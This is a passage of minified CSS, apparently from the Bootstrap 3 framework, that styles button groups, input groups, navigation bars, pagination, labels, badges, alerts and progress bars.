.dropdown-menu-left{right:auto;left:0}}.btn-group,.btn-group-vertical{position:relative;display:inline-block;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;float:left}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group-vertical>.btn:hover,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus,.btn-group>.btn:hover{z-index:2}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{margin-left:-5px}.btn-toolbar .btn,.btn-toolbar .btn-group,.btn-toolbar .input-group{float:left}.btn-toolbar>.btn,.btn-toolbar>.btn-group,.btn-toolbar>.input-group{margin-left:5px}.btn-group>.btn:not(:first-child):not(:last-child):not(.dropdown-toggle){border-radius:0}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn:last-child:not(:first-child),.btn-group>.dropdown-toggle:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.btn-group>.btn-group{float:left}.btn-group>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-bottom-left-radius:0}.btn-group .dropdown-toggle:active,.btn-group.open .dropdown-toggle{outline:0}.btn-group>.btn+.dropdown-toggle{padding-right:8px;padding-left:8px}.btn-group>.btn-lg+.dropdown-toggle{padding-right:12px;padding-left:12px}.btn-group.open .dropdown-toggle{-webkit-box-shadow:inset 0 3px 5px rgba(0,0,0,.125);box-shadow:inset 0 3px 5px rgba(0,0,0,.125)}.btn-group.open .dropdown-toggle.btn-link{-webkit-box-shadow:none;box-shadow:none}.btn .caret{margin-left:0}.btn-lg .caret{border-width:5px 5px 0;border-bottom-width:0}.dropup .btn-lg .caret{border-width:0 5px 5px}.btn-group-vertical>.btn,.btn-group-vertical>.btn-group,.btn-group-vertical>.btn-group>.btn{display:block;float:none;width:100%;max-width:100%}.btn-group-vertical>.btn-group>.btn{float:none}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn:not(:first-child):not(:last-child){border-radius:0}.btn-group-vertical>.btn:first-child:not(:last-child){border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn:last-child:not(:first-child){border-top-left-radius:0;border-top-right-radius:0;border-bottom-left-radius:4px}.btn-group-vertical>.btn-group:not(:first-child):not(:last-child)>.btn{border-radius:0}.btn-group-vertical>.btn-group:first-child:not(:last-child)>.btn:last-child,.btn-group-vertical>.btn-group:first-child:not(:last-child)>.dropdown-toggle{border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:last-child:not(:first-child)>.btn:first-child{border-top-left-radius:0;border-top-right-radius:0}.btn-group-justified{display:table;width:100%;table-layout:fixed;border-collapse:separate}.btn-group-justified>.btn,.btn-group-justified>.btn-group{display:table-cell;float:none;width:1%}.btn-group-justified>.btn-group .btn{width:100%}.btn-group-justified>.btn-group .dropdown-menu{left:auto}[data-toggle=buttons]>.btn input[type=checkbox],[data-toggle=buttons]>.btn input[type=radio],[data-toggle=buttons]>.btn-group>.btn input[type=checkbox],[data-toggle=buttons]>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:table;border-collapse:separate}.input-group[class*=col-]{float:none;padding-right:0;padding-left:0}.input-group .form-control{position:relative;z-index:2;float:left;width:100%;margin-bottom:0}.input-group-lg>.form-control,.input-group-lg>.input-group-addon,.input-group-lg>.input-group-btn>.btn{height:46px;padding:10px 16px;font-size:18px;line-height:1.3333333;border-radius:6px}select.input-group-lg>.form-control,select.input-group-lg>.input-group-addon,select.input-group-lg>.input-group-btn>.btn{height:46px;line-height:46px}select[multiple].input-group-lg>.form-control,select[multiple].input-group-lg>.input-group-addon,select[multiple].input-group-lg>.input-group-btn>.btn,textarea.input-group-lg>.form-control,textarea.input-group-lg>.input-group-addon,textarea.input-group-lg>.input-group-btn>.btn{height:auto}.input-group-sm>.form-control,.input-group-sm>.input-group-addon,.input-group-sm>.input-group-btn>.btn{height:30px;padding:5px 10px;font-size:12px;line-height:1.5;border-radius:3px}select.input-group-sm>.form-control,select.input-group-sm>.input-group-addon,select.input-group-sm>.input-group-btn>.btn{height:30px;line-height:30px}select[multiple].input-group-sm>.form-control,select[multiple].input-group-sm>.input-group-addon,select[multiple].input-group-sm>.input-group-btn>.btn,textarea.input-group-sm>.form-control,textarea.input-group-sm>.input-group-addon,textarea.input-group-sm>.input-group-btn>.btn{height:auto}.input-group .form-control,.input-group-addon,.input-group-btn{display:table-cell}.input-group .form-control:not(:first-child):not(:last-child),.input-group-addon:not(:first-child):not(:last-child),.input-group-btn:not(:first-child):not(:last-child){border-radius:0}.input-group-addon,.input-group-btn{width:1%;white-space:nowrap;vertical-align:middle}.input-group-addon{padding:6px 12px;font-size:14px;font-weight:400;line-height:1;color:#555;text-align:center;background-color:#eee;border:1px solid #ccc;border-radius:4px}.input-group-addon.input-sm{padding:5px 10px;font-size:12px;border-radius:3px}.input-group-addon.input-lg{padding:10px 16px;font-size:18px;border-radius:6px}.input-group-addon input[type=checkbox],.input-group-addon input[type=radio]{margin-top:0}.input-group .form-control:first-child,.input-group-addon:first-child,.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group>.btn,.input-group-btn:first-child>.dropdown-toggle,.input-group-btn:last-child>.btn-group:not(:last-child)>.btn,.input-group-btn:last-child>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.input-group-addon:first-child{border-right:0}.input-group .form-control:last-child,.input-group-addon:last-child,.input-group-btn:first-child>.btn-group:not(:first-child)>.btn,.input-group-btn:first-child>.btn:not(:first-child),.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group>.btn,.input-group-btn:last-child>.dropdown-toggle{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-addon:last-child{border-left:0}.input-group-btn{position:relative;font-size:0;white-space:nowrap}.input-group-btn>.btn{position:relative}.input-group-btn>.btn+.btn{margin-left:-1px}.input-group-btn>.btn:active,.input-group-btn>.btn:focus,.input-group-btn>.btn:hover{z-index:2}.input-group-btn:first-child>.btn,.input-group-btn:first-child>.btn-group{margin-right:-1px}.input-group-btn:last-child>.btn,.input-group-btn:last-child>.btn-group{z-index:2;margin-left:-1px}.nav{padding-left:0;margin-bottom:0;list-style:none}.nav>li{position:relative;display:block}.nav>li>a{position:relative;display:block;padding:10px 15px}.nav>li>a:focus,.nav>li>a:hover{text-decoration:none;background-color:#eee}.nav>li.disabled>a{color:#777}.nav>li.disabled>a:focus,.nav>li.disabled>a:hover{color:#777;text-decoration:none;cursor:not-allowed;background-color:transparent}.nav .open>a,.nav .open>a:focus,.nav .open>a:hover{background-color:#eee;border-color:#337ab7}.nav .nav-divider{height:1px;margin:9px 0;overflow:hidden;background-color:#e5e5e5}.nav>li>a>img{max-width:none}.nav-tabs{border-bottom:1px solid #ddd}.nav-tabs>li{float:left;margin-bottom:-1px}.nav-tabs>li>a{margin-right:2px;line-height:1.42857143;border:1px solid transparent;border-radius:4px 4px 0 0}.nav-tabs>li>a:hover{border-color:#eee #eee #ddd}.nav-tabs>li.active>a,.nav-tabs>li.active>a:focus,.nav-tabs>li.active>a:hover{color:#555;cursor:default;background-color:#fff;border:1px solid #ddd;border-bottom-color:transparent}.nav-tabs.nav-justified{width:100%;border-bottom:0}.nav-tabs.nav-justified>li{float:none}.nav-tabs.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-tabs.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-tabs.nav-justified>li{display:table-cell;width:1%}.nav-tabs.nav-justified>li>a{margin-bottom:0}}.nav-tabs.nav-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs.nav-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs.nav-justified>.active>a,.nav-tabs.nav-justified>.active>a:focus,.nav-tabs.nav-justified>.active>a:hover{border-bottom-color:#fff}}.nav-pills>li{float:left}.nav-pills>li>a{border-radius:4px}.nav-pills>li+li{margin-left:2px}.nav-pills>li.active>a,.nav-pills>li.active>a:focus,.nav-pills>li.active>a:hover{color:#fff;background-color:#337ab7}.nav-stacked>li{float:none}.nav-stacked>li+li{margin-top:2px;margin-left:0}.nav-justified{width:100%}.nav-justified>li{float:none}.nav-justified>li>a{margin-bottom:5px;text-align:center}.nav-justified>.dropdown .dropdown-menu{top:auto;left:auto}@media (min-width:768px){.nav-justified>li{display:table-cell;width:1%}.nav-justified>li>a{margin-bottom:0}}.nav-tabs-justified{border-bottom:0}.nav-tabs-justified>li>a{margin-right:0;border-radius:4px}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border:1px solid #ddd}@media (min-width:768px){.nav-tabs-justified>li>a{border-bottom:1px solid #ddd;border-radius:4px 4px 0 0}.nav-tabs-justified>.active>a,.nav-tabs-justified>.active>a:focus,.nav-tabs-justified>.active>a:hover{border-bottom-color:#fff}}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.navbar{position:relative;min-height:50px;margin-bottom:20px;border:1px solid transparent}@media (min-width:768px){.navbar{border-radius:4px}}@media (min-width:768px){.navbar-header{float:left}}.navbar-collapse{padding-right:15px;padding-left:15px;overflow-x:visible;-webkit-overflow-scrolling:touch;border-top:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1)}.navbar-collapse.in{overflow-y:auto}@media (min-width:768px){.navbar-collapse{width:auto;border-top:0;-webkit-box-shadow:none;box-shadow:none}.navbar-collapse.collapse{display:block!important;height:auto!important;padding-bottom:0;overflow:visible!important}.navbar-collapse.in{overflow-y:visible}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse,.navbar-static-top .navbar-collapse{padding-right:0;padding-left:0}}.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:340px}@media (max-device-width:480px) and (orientation:landscape){.navbar-fixed-bottom .navbar-collapse,.navbar-fixed-top .navbar-collapse{max-height:200px}}.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:-15px;margin-left:-15px}@media (min-width:768px){.container-fluid>.navbar-collapse,.container-fluid>.navbar-header,.container>.navbar-collapse,.container>.navbar-header{margin-right:0;margin-left:0}}.navbar-static-top{z-index:1000;border-width:0 0 1px}@media (min-width:768px){.navbar-static-top{border-radius:0}}.navbar-fixed-bottom,.navbar-fixed-top{position:fixed;right:0;left:0;z-index:1030}@media (min-width:768px){.navbar-fixed-bottom,.navbar-fixed-top{border-radius:0}}.navbar-fixed-top{top:0;border-width:0 0 1px}.navbar-fixed-bottom{bottom:0;margin-bottom:0;border-width:1px 0 0}.navbar-brand{float:left;height:50px;padding:15px 15px;font-size:18px;line-height:20px}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-brand>img{display:block}@media (min-width:768px){.navbar>.container .navbar-brand,.navbar>.container-fluid .navbar-brand{margin-left:-15px}}.navbar-toggle{position:relative;float:right;padding:9px 10px;margin-top:8px;margin-right:15px;margin-bottom:8px;background-color:transparent;background-image:none;border:1px solid transparent;border-radius:4px}.navbar-toggle:focus{outline:0}.navbar-toggle .icon-bar{display:block;width:22px;height:2px;border-radius:1px}.navbar-toggle .icon-bar+.icon-bar{margin-top:4px}@media (min-width:768px){.navbar-toggle{display:none}}.navbar-nav{margin:7.5px -15px}.navbar-nav>li>a{padding-top:10px;padding-bottom:10px;line-height:20px}@media (max-width:767px){.navbar-nav .open .dropdown-menu{position:static;float:none;width:auto;margin-top:0;background-color:transparent;border:0;-webkit-box-shadow:none;box-shadow:none}.navbar-nav .open .dropdown-menu .dropdown-header,.navbar-nav .open .dropdown-menu>li>a{padding:5px 15px 5px 25px}.navbar-nav .open .dropdown-menu>li>a{line-height:20px}.navbar-nav .open .dropdown-menu>li>a:focus,.navbar-nav .open .dropdown-menu>li>a:hover{background-image:none}}@media (min-width:768px){.navbar-nav{float:left;margin:0}.navbar-nav>li{float:left}.navbar-nav>li>a{padding-top:15px;padding-bottom:15px}}.navbar-form{padding:10px 15px;margin-top:8px;margin-right:-15px;margin-bottom:8px;margin-left:-15px;border-top:1px solid transparent;border-bottom:1px solid transparent;-webkit-box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1);box-shadow:inset 0 1px 0 rgba(255,255,255,.1),0 1px 0 rgba(255,255,255,.1)}@media (min-width:768px){.navbar-form .form-group{display:inline-block;margin-bottom:0;vertical-align:middle}.navbar-form .form-control{display:inline-block;width:auto;vertical-align:middle}.navbar-form .form-control-static{display:inline-block}.navbar-form .input-group{display:inline-table;vertical-align:middle}.navbar-form .input-group .form-control,.navbar-form .input-group .input-group-addon,.navbar-form .input-group .input-group-btn{width:auto}.navbar-form .input-group>.form-control{width:100%}.navbar-form .control-label{margin-bottom:0;vertical-align:middle}.navbar-form .checkbox,.navbar-form .radio{display:inline-block;margin-top:0;margin-bottom:0;vertical-align:middle}.navbar-form .checkbox label,.navbar-form .radio label{padding-left:0}.navbar-form .checkbox input[type=checkbox],.navbar-form .radio input[type=radio]{position:relative;margin-left:0}.navbar-form .has-feedback .form-control-feedback{top:0}}@media (max-width:767px){.navbar-form .form-group{margin-bottom:5px}.navbar-form .form-group:last-child{margin-bottom:0}}@media (min-width:768px){.navbar-form{width:auto;padding-top:0;padding-bottom:0;margin-right:0;margin-left:0;border:0;-webkit-box-shadow:none;box-shadow:none}}.navbar-nav>li>.dropdown-menu{margin-top:0;border-top-left-radius:0;border-top-right-radius:0}.navbar-fixed-bottom .navbar-nav>li>.dropdown-menu{margin-bottom:0;border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0}.navbar-btn{margin-top:8px;margin-bottom:8px}.navbar-btn.btn-sm{margin-top:10px;margin-bottom:10px}.navbar-btn.btn-xs{margin-top:14px;margin-bottom:14px}.navbar-text{margin-top:15px;margin-bottom:15px}@media (min-width:768px){.navbar-text{float:left;margin-right:15px;margin-left:15px}}@media (min-width:768px){.navbar-left{float:left!important}.navbar-right{float:right!important;margin-right:-15px}.navbar-right~.navbar-right{margin-right:0}}.navbar-default{background-color:#f8f8f8;border-color:#e7e7e7}.navbar-default .navbar-brand{color:#777}.navbar-default .navbar-brand:focus,.navbar-default .navbar-brand:hover{color:#5e5e5e;background-color:transparent}.navbar-default .navbar-text{color:#777}.navbar-default .navbar-nav>li>a{color:#777}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav>.active>a,.navbar-default .navbar-nav>.active>a:focus,.navbar-default .navbar-nav>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav>.disabled>a,.navbar-default .navbar-nav>.disabled>a:focus,.navbar-default .navbar-nav>.disabled>a:hover{color:#ccc;background-color:transparent}.navbar-default .navbar-toggle{border-color:#ddd}.navbar-default .navbar-toggle:focus,.navbar-default .navbar-toggle:hover{background-color:#ddd}.navbar-default .navbar-toggle .icon-bar{background-color:#888}.navbar-default .navbar-collapse,.navbar-default .navbar-form{border-color:#e7e7e7}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#555;background-color:#e7e7e7}@media (max-width:767px){.navbar-default .navbar-nav .open .dropdown-menu>li>a{color:#777}.navbar-default .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>li>a:hover{color:#333;background-color:transparent}.navbar-default .navbar-nav .open .dropdown-menu>.active>a,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.active>a:hover{color:#555;background-color:#e7e7e7}.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-default .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#ccc;background-color:transparent}}.navbar-default .navbar-link{color:#777}.navbar-default .navbar-link:hover{color:#333}.navbar-default .btn-link{color:#777}.navbar-default .btn-link:focus,.navbar-default .btn-link:hover{color:#333}.navbar-default .btn-link[disabled]:focus,.navbar-default .btn-link[disabled]:hover,fieldset[disabled] .navbar-default .btn-link:focus,fieldset[disabled] .navbar-default .btn-link:hover{color:#ccc}.navbar-inverse{background-color:#222;border-color:#080808}.navbar-inverse .navbar-brand{color:#9d9d9d}.navbar-inverse .navbar-brand:focus,.navbar-inverse .navbar-brand:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-text{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav>li>a:focus,.navbar-inverse .navbar-nav>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav>.active>a,.navbar-inverse .navbar-nav>.active>a:focus,.navbar-inverse .navbar-nav>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav>.disabled>a,.navbar-inverse .navbar-nav>.disabled>a:focus,.navbar-inverse .navbar-nav>.disabled>a:hover{color:#444;background-color:transparent}.navbar-inverse .navbar-toggle{border-color:#333}.navbar-inverse .navbar-toggle:focus,.navbar-inverse .navbar-toggle:hover{background-color:#333}.navbar-inverse .navbar-toggle .icon-bar{background-color:#fff}.navbar-inverse .navbar-collapse,.navbar-inverse .navbar-form{border-color:#101010}.navbar-inverse .navbar-nav>.open>a,.navbar-inverse .navbar-nav>.open>a:focus,.navbar-inverse .navbar-nav>.open>a:hover{color:#fff;background-color:#080808}@media (max-width:767px){.navbar-inverse .navbar-nav .open .dropdown-menu>.dropdown-header{border-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu .divider{background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a{color:#9d9d9d}.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>li>a:hover{color:#fff;background-color:transparent}.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.active>a:hover{color:#fff;background-color:#080808}.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:focus,.navbar-inverse .navbar-nav .open .dropdown-menu>.disabled>a:hover{color:#444;background-color:transparent}}.navbar-inverse .navbar-link{color:#9d9d9d}.navbar-inverse .navbar-link:hover{color:#fff}.navbar-inverse .btn-link{color:#9d9d9d}.navbar-inverse .btn-link:focus,.navbar-inverse .btn-link:hover{color:#fff}.navbar-inverse .btn-link[disabled]:focus,.navbar-inverse .btn-link[disabled]:hover,fieldset[disabled] .navbar-inverse .btn-link:focus,fieldset[disabled] .navbar-inverse .btn-link:hover{color:#444}.breadcrumb{padding:8px 15px;margin-bottom:20px;list-style:none;background-color:#f5f5f5;border-radius:4px}.breadcrumb>li{display:inline-block}.breadcrumb>li+li:before{padding:0 5px;color:#ccc;content:"/\00a0"}.breadcrumb>.active{color:#777}.pagination{display:inline-block;padding-left:0;margin:20px 0;border-radius:4px}.pagination>li{display:inline}.pagination>li>a,.pagination>li>span{position:relative;float:left;padding:6px 12px;margin-left:-1px;line-height:1.42857143;color:#337ab7;text-decoration:none;background-color:#fff;border:1px solid #ddd}.pagination>li:first-child>a,.pagination>li:first-child>span{margin-left:0;border-top-left-radius:4px;border-bottom-left-radius:4px}.pagination>li:last-child>a,.pagination>li:last-child>span{border-top-right-radius:4px;border-bottom-right-radius:4px}.pagination>li>a:focus,.pagination>li>a:hover,.pagination>li>span:focus,.pagination>li>span:hover{z-index:3;color:#23527c;background-color:#eee;border-color:#ddd}.pagination>.active>a,.pagination>.active>a:focus,.pagination>.active>a:hover,.pagination>.active>span,.pagination>.active>span:focus,.pagination>.active>span:hover{z-index:2;color:#fff;cursor:default;background-color:#337ab7;border-color:#337ab7}.pagination>.disabled>a,.pagination>.disabled>a:focus,.pagination>.disabled>a:hover,.pagination>.disabled>span,.pagination>.disabled>span:focus,.pagination>.disabled>span:hover{color:#777;cursor:not-allowed;background-color:#fff;border-color:#ddd}.pagination-lg>li>a,.pagination-lg>li>span{padding:10px 16px;font-size:18px;line-height:1.3333333}.pagination-lg>li:first-child>a,.pagination-lg>li:first-child>span{border-top-left-radius:6px;border-bottom-left-radius:6px}.pagination-lg>li:last-child>a,.pagination-lg>li:last-child>span{border-top-right-radius:6px;border-bottom-right-radius:6px}.pagination-sm>li>a,.pagination-sm>li>span{padding:5px 10px;font-size:12px;line-height:1.5}.pagination-sm>li:first-child>a,.pagination-sm>li:first-child>span{border-top-left-radius:3px;border-bottom-left-radius:3px}.pagination-sm>li:last-child>a,.pagination-sm>li:last-child>span{border-top-right-radius:3px;border-bottom-right-radius:3px}.pager{padding-left:0;margin:20px 0;text-align:center;list-style:none}.pager li{display:inline}.pager li>a,.pager li>span{display:inline-block;padding:5px 14px;background-color:#fff;border:1px solid #ddd;border-radius:15px}.pager li>a:focus,.pager li>a:hover{text-decoration:none;background-color:#eee}.pager .next>a,.pager .next>span{float:right}.pager .previous>a,.pager .previous>span{float:left}.pager .disabled>a,.pager .disabled>a:focus,.pager .disabled>a:hover,.pager .disabled>span{color:#777;cursor:not-allowed;background-color:#fff}.label{display:inline;padding:.2em .6em .3em;font-size:75%;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25em}a.label:focus,a.label:hover{color:#fff;text-decoration:none;cursor:pointer}.label:empty{display:none}.btn .label{position:relative;top:-1px}.label-default{background-color:#777}.label-default[href]:focus,.label-default[href]:hover{background-color:#5e5e5e}.label-primary{background-color:#337ab7}.label-primary[href]:focus,.label-primary[href]:hover{background-color:#286090}.label-success{background-color:#5cb85c}.label-success[href]:focus,.label-success[href]:hover{background-color:#449d44}.label-info{background-color:#5bc0de}.label-info[href]:focus,.label-info[href]:hover{background-color:#31b0d5}.label-warning{background-color:#f0ad4e}.label-warning[href]:focus,.label-warning[href]:hover{background-color:#ec971f}.label-danger{background-color:#d9534f}.label-danger[href]:focus,.label-danger[href]:hover{background-color:#c9302c}.badge{display:inline-block;min-width:10px;padding:3px 7px;font-size:12px;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:middle;background-color:#777;border-radius:10px}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.btn-group-xs>.btn .badge,.btn-xs .badge{top:0;padding:1px 5px}a.badge:focus,a.badge:hover{color:#fff;text-decoration:none;cursor:pointer}.list-group-item.active>.badge,.nav-pills>.active>a>.badge{color:#337ab7;background-color:#fff}.list-group-item>.badge{float:right}.list-group-item>.badge+.badge{margin-right:5px}.nav-pills>li>a>.badge{margin-left:3px}.jumbotron{padding-top:30px;padding-bottom:30px;margin-bottom:30px;color:inherit;background-color:#eee}.jumbotron .h1,.jumbotron h1{color:inherit}.jumbotron p{margin-bottom:15px;font-size:21px;font-weight:200}.jumbotron>hr{border-top-color:#d5d5d5}.container .jumbotron,.container-fluid .jumbotron{border-radius:6px}.jumbotron .container{max-width:100%}@media screen and (min-width:768px){.jumbotron{padding-top:48px;padding-bottom:48px}.container .jumbotron,.container-fluid .jumbotron{padding-right:60px;padding-left:60px}.jumbotron .h1,.jumbotron h1{font-size:63px}}.thumbnail{display:block;padding:4px;margin-bottom:20px;line-height:1.42857143;background-color:#fff;border:1px solid #ddd;border-radius:4px;-webkit-transition:border .2s ease-in-out;-o-transition:border .2s ease-in-out;transition:border .2s ease-in-out}.thumbnail a>img,.thumbnail>img{margin-right:auto;margin-left:auto}a.thumbnail.active,a.thumbnail:focus,a.thumbnail:hover{border-color:#337ab7}.thumbnail .caption{padding:9px;color:#333}.alert{padding:15px;margin-bottom:20px;border:1px solid transparent;border-radius:4px}.alert h4{margin-top:0;color:inherit}.alert .alert-link{font-weight:700}.alert>p,.alert>ul{margin-bottom:0}.alert>p+p{margin-top:5px}.alert-dismissable,.alert-dismissible{padding-right:35px}.alert-dismissable .close,.alert-dismissible .close{position:relative;top:-2px;right:-21px;color:inherit}.alert-success{color:#3c763d;background-color:#dff0d8;border-color:#d6e9c6}.alert-success hr{border-top-color:#c9e2b3}.alert-success .alert-link{color:#2b542c}.alert-info{color:#31708f;background-color:#d9edf7;border-color:#bce8f1}.alert-info hr{border-top-color:#a6e1ec}.alert-info .alert-link{color:#245269}.alert-warning{color:#8a6d3b;background-color:#fcf8e3;border-color:#faebcc}.alert-warning hr{border-top-color:#f7e1b5}.alert-warning .alert-link{color:#66512c}.alert-danger{color:#a94442;background-color:#f2dede;border-color:#ebccd1}.alert-danger hr{border-top-color:#e4b9c0}.alert-danger .alert-link{color:#843534}@-webkit-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@-o-keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:40px 0}to{background-position:0 0}}.progress{height:20px;margin-bottom:20px;overflow:hidden;background-color:#f5f5f5;border-radius:4px;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.1);box-shadow:inset 0 1px 2px rgba(0,0,0,.1)}.progress-bar{float:left;width:0;height:100%;font-size:12px;line-height:20px;color:#fff;text-align:center;background-color:#337ab7;-webkit-box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);box-shadow:inset 0 -1px 0 rgba(0,0,0,.15);-webkit-transition:width .6s ease;-o-transition:width .6s ease;transition:width .6s ease}.progress-bar-striped,.progress-striped .progress-bar{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);-webkit-background-size:40px 40px;background-size:40px 40px}.progress-bar.active,.progress.active .progress-bar{-webkit-animation:progress-bar-stripes 2s linear infinite;-o-animation:progress-bar-stripes 2s linear infinite;animation:progress-bar-stripes 2s linear infinite}.progress-bar-success{background-color:#5cb85c}.progress-striped .progress-bar-success{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-info{background-color:#5bc0de}.progress-striped .progress-bar-info{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-warning{background-color:#f0ad4e}.progress-striped .progress-bar-warning{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent)}.progress-bar-danger{background-color:#d9534f}.progress-striped .progress-bar-danger{background-image:-webkit-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-image:-o-linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 